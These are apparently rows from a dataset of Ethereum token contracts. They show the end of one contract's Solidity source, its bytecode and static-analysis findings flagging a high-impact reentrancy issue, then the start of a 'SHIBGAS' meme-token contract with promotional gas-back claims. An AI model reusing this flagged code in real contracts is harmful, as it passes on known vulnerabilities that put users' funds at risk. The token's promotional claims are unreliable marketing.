uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063f2fde38b146103f857610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612c16565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061276d565b61045e565b6040516101789190612bfb565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612d98565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061271a565b610490565b6040516101e09190612bfb565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612680565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612e0d565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906127f6565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612680565b610786565b6040516102b19190612d98565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612b2d565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612c16565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061276d565b610990565b60405161035b9190612bfb565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906127ad565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906126da565b6110b4565b6040516103ef9190612d98565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a9190612680565b61113b565b005b60606040518060400160405280600481526020017f3242544300000000000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112fd565b8484611305565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d8484846114d0565b61055e846104a96112fd565b6105598560405180606001604052806028815260200161351160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ae9092919063ffffffff16565b611305565b600190509392505050565b6105716112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612cf8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612cf8565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112fd565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611a12565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9b565b9050919050565b6107df6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612cf8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f3242544300000000000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112fd565b84846114d0565b6001905092915050565b6109b66112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612cf8565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a67613155565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc906130ae565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b196112fd565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611c09565b50565b610b5a6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612cf8565b60405180910390fd5b601060149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612d78565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611305565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906126ad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906126ad565b6040518363ffffffff1660e01b8152600401610dff929190612b48565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906126ad565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612b9a565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f599190612850565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff0219169083151502179055506a295be96e640669720000006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612b71565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612823565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111436112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c790612cf8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123790612c78565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136c90612d58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dc90612c98565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114c39190612d98565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153790612d38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a790612c38565b60405180910390fd5b600081116115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ea90612d18565b60405180910390fd5b6115fb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611669575061163961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117125750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61171b57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117c65750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561181c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118345750601060179054906101000a900460ff165b156118e45760115481111561184857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061189357600080fd5b601e426118a09190612ece565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118ef30610786565b9050601060159054906101000a900460ff1615801561195c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119745750601060169054906101000a900460ff165b1561199c5761198281611c09565b6000479050600081111561199a5761199947611a12565b5b505b505b6119a9838383611e91565b505050565b60008383111582906119f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ed9190612c16565b60405180910390fd5b5060008385611a059190612faf565b9050809150509392505050565b6000611a69611a2e600b54600c54611ea190919063ffffffff16565b611a5b633b9aca00611a4d612710600c54611eff90919063ffffffff16565b611eff90919063ffffffff16565b611f7a90919063ffffffff16565b90506000611aaa633b9aca00611a9c612710611a8e8787611eff90919063ffffffff16565b611f7a90919063ffffffff16565b611f7a90919063ffffffff16565b90506000611ac18285611fc490919063ffffffff16565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611b2b573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b94573d6000803e3d6000fd5b5050505050565b6000600854821115611be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd990612c58565b60405180910390fd5b6000611bec61200e565b9050611c018184611f7a90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c4157611c40613184565b5b604051908082528060200260200182016040528015611c6f5781602001602082028036833780820191505090505b5090503081600081518110611c8757611c86613155565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d2957600080fd5b505afa158015611d3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d6191906126ad565b81600181518110611d7557611d74613155565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ddc30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611305565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e40959493929190612db3565b600060405180830381600087803b158015611e5a57600080fd5b505af1158015611e6e573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b611e9c838383612039565b505050565b6000808284611eb09190612ece565b905083811015611ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eec90612cb8565b60405180910390fd5b8091505092915050565b600080831415611f125760009050611f74565b60008284611f209190612f55565b9050828482611f2f9190612f24565b14611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6690612cd8565b60405180910390fd5b809150505b92915050565b6000611fbc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612204565b905092915050565b600061200683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119ae565b905092915050565b600080600061201b612267565b915091506120328183611f7a90919063ffffffff16565b9250505090565b60008060008060008061204b876122d2565b9550955095509550955095506120a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fc490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061213e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218a8161234e565b612194848361240b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121f19190612d98565b60405180910390a3505050505050505050565b6000808311829061224b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122429190612c16565b60405180910390fd5b506000838561225a9190612f24565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506122a36b033b2e3c9fd0803ce8000000600854611f7a90919063ffffffff16565b8210156122c5576008546b033b2e3c9fd0803ce80000009350935050506122ce565b81819350935050505b9091565b60008060008060008060008060006123038a600a546122fe600c54600b54611ea190919063ffffffff16565b612445565b925092509250600061231361200e565b905060008060006123268e8787876124db565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061235861200e565b9050600061236f8284611eff90919063ffffffff16565b90506123c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61242082600854611fc490919063ffffffff16565b60088190555061243b81600954611ea190919063ffffffff16565b6009819055505050565b6000806000806124716064612463888a611eff90919063ffffffff16565b611f7a90919063ffffffff16565b9050600061249b606461248d888b611eff90919063ffffffff16565b611f7a90919063ffffffff16565b905060006124c4826124b6858c611fc490919063ffffffff16565b611fc490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124f48589611eff90919063ffffffff16565b9050600061250b8689611eff90919063ffffffff16565b905060006125228789611eff90919063ffffffff16565b9050600061254b8261253d8587611fc490919063ffffffff16565b611fc490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061257761257284612e4d565b612e28565b9050808382526020820190508285602086028201111561259a576125996131b8565b5b60005b858110156125ca57816125b088826125d4565b84526020840193506020830192505060018101905061259d565b5050509392505050565b6000813590506125e3816134cb565b92915050565b6000815190506125f8816134cb565b92915050565b600082601f830112612613576126126131b3565b5b8135612623848260208601612564565b91505092915050565b60008135905061263b816134e2565b92915050565b600081519050612650816134e2565b92915050565b600081359050612665816134f9565b92915050565b60008151905061267a816134f9565b92915050565b600060208284031215612696576126956131c2565b5b60006126a4848285016125d4565b91505092915050565b6000602082840312156126c3576126c26131c2565b5b60006126d1848285016125e9565b91505092915050565b600080604083850312156126f1576126f06131c2565b5b60006126ff858286016125d4565b9250506020612710858286016125d4565b9150509250929050565b600080600060608486031215612733576127326131c2565b5b6000612741868287016125d4565b9350506020612752868287016125d4565b925050604061276386828701612656565b9150509250925092565b60008060408385031215612784576127836131c2565b5b6000612792858286016125d4565b92505060206127a385828601612656565b9150509250929050565b6000602082840312156127c3576127c26131c2565b5b600082013567ffffffffffffffff8111156127e1576127e06131bd565b5b6127ed848285016125fe565b91505092915050565b60006020828403121561280c5761280b6131c2565b5b600061281a8482850161262c565b91505092915050565b600060208284031215612839576128386131c2565b5b600061284784828501612641565b91505092915050565b600080600060608486031215612869576128686131c2565b5b60006128778682870161266b565b93505060206128888682870161266b565b92505060406128998682870161266b565b9150509250925092565b60006128af83836128bb565b60208301905092915050565b6128c481612fe3565b82525050565b6128d381612fe3565b82525050565b60006128e482612e89565b6128ee8185612eac565b93506128f983612e79565b8060005b8381101561292a57815161291188826128a3565b975061291c83612e9f565b9250506001810190506128fd565b5085935050505092915050565b61294081612ff5565b82525050565b61294f81613038565b82525050565b600061296082612e94565b61296a8185612ebd565b935061297a81856020860161304a565b612983816131c7565b840191505092915050565b600061299b602383612ebd565b91506129a6826131d8565b604082019050919050565b60006129be602a83612ebd565b91506129c982613227565b604082019050919050565b60006129e1602683612ebd565b91506129ec82613276565b604082019050919050565b6000612a04602283612ebd565b9150612a0f826132c5565b604082019050919050565b6000612a27601b83612ebd565b9150612a3282613314565b602082019050919050565b6000612a4a602183612ebd565b9150612a558261333d565b604082019050919050565b6000612a6d602083612ebd565b9150612a788261338c565b602082019050919050565b6000612a90602983612ebd565b9150612a9b826133b5565b604082019050919050565b6000612ab3602583612ebd565b9150612abe82613404565b604082019050919050565b6000612ad6602483612ebd565b9150612ae182613453565b604082019050919050565b6000612af9601783612ebd565b9150612b04826134a2565b602082019050919050565b612b1881613021565b82525050565b612b278161302b565b82525050565b6000602082019050612b4260008301846128ca565b92915050565b6000604082019050612b5d60008301856128ca565b612b6a60208301846128ca565b9392505050565b6000604082019050612b8660008301856128ca565b612b936020830184612b0f565b9392505050565b600060c082019050612baf60008301896128ca565b612bbc6020830188612b0f565b612bc96040830187612946565b612bd66060830186612946565b612be360808301856128ca565b612bf060a0830184612b0f565b979650505050505050565b6000602082019050612c106000830184612937565b92915050565b60006020820190508181036000830152612c308184612955565b905092915050565b60006020820190508181036000830152612c518161298e565b9050919050565b60006020820190508181036000830152612c71816129b1565b9050919050565b60006020820190508181036000830152612c91816129d4565b9050919050565b60006020820190508181036000830152612cb1816129f7565b9050919050565b60006020820190508181036000830152612cd181612a1a565b9050919050565b60006020820190508181036000830152612cf181612a3d565b9050919050565b60006020820190508181036000830152612d1181612a60565b9050919050565b60006020820190508181036000830152612d3181612a83565b9050919050565b60006020820190508181036000830152612d5181612aa6565b9050919050565b60006020820190508181036000830152612d7181612ac9565b9050919050565b60006020820190508181036000830152612d9181612aec565b9050919050565b6000602082019050612dad6000830184612b0f565b92915050565b600060a082019050612dc86000830188612b0f565b612dd56020830187612946565b8181036040830152612de781866128d9565b9050612df660608301856128ca565b612e036080830184612b0f565b9695505050505050565b6000602082019050612e226000830184612b1e565b92915050565b6000612e32612e43565b9050612e3e828261307d565b919050565b6000604051905090565b600067ffffffffffffffff821115612e6857612e67613184565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ed982613021565b9150612ee483613021565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f1957612f186130f7565b5b828201905092915050565b6000612f2f82613021565b9150612f3a83613021565b925082612f4a57612f49613126565b5b828204905092915050565b6000612f6082613021565b9150612f6b83613021565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612fa457612fa36130f7565b5b828202905092915050565b6000612fba82613021565b9150612fc583613021565b925082821015612fd857612fd76130f7565b5b828203905092915050565b6000612fee82613001565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061304382613021565b9050919050565b60005b8381101561306857808201518184015260208101905061304d565b83811115613077576000848401525b50505050565b613086826131c7565b810181811067ffffffffffffffff821117156130a5576130a4613184565b5b80604052505050565b60006130b982613021565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130ec576130eb6130f7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6134d481612fe3565b81146134df57600080fd5b50565b6134eb81612ff5565b81146134f657600080fd5b50565b61350281613021565b811461350d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec8416bc1419087b99d2d362258791a4635e544936363bbcfbda986af36cca1564736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,869 |
0x6bbf65693b00d62f299202bfa971fd89648e1b7f | /**
*Submitted for verification at Etherscan.io on 2022-03-10
*/
/*
⛽️⛽️
⛽️⛽️⛽️⛽️
⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️
⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️
⛽️⛽️ https://t.me/SHIBGAS ⛽️⛽️⛽️⛽️⛽️⛽️
⛽️⛽️ Come to our Gas Station! ⛽️⛽️⛽️⛽️
⛽️⛽️ 0.2-0.299 - Max 0.01 Gas Back⛽️⛽️
⛽️⛽️ 0.3-0.599 - Full Gas Back⛽️⛽️⛽️⛽️
⛽️⛽️ 0.6-0.999 - 2x Gas Back⛽️⛽️⛽️⛽️⛽️
⛽️⛽️ 1-1.499 - 3x Gas Back⛽️⛽️⛽️⛽️⛽️⛽️
⛽️⛽️ 1.5-2 - 5x Gas Back⛽️⛽️⛽️⛽️⛽️⛽️⛽️
⛽️⛽️ 2+ - 10x Gas Back⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️
⛽️⛽️ https://shibgas.com/ ⛽️⛽️⛽️⛽️⛽️⛽️
⛽️⛽️https://twitter.com/SHIBGASETH⛽️⛽️
⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️
⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️
⛽️⛽️⛽️⛽️⛽️⛽️⛽️⛽️
⛽️⛽️⛽️⛽️
⛽️⛽️
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBGAS is Context, IERC20, Ownable {
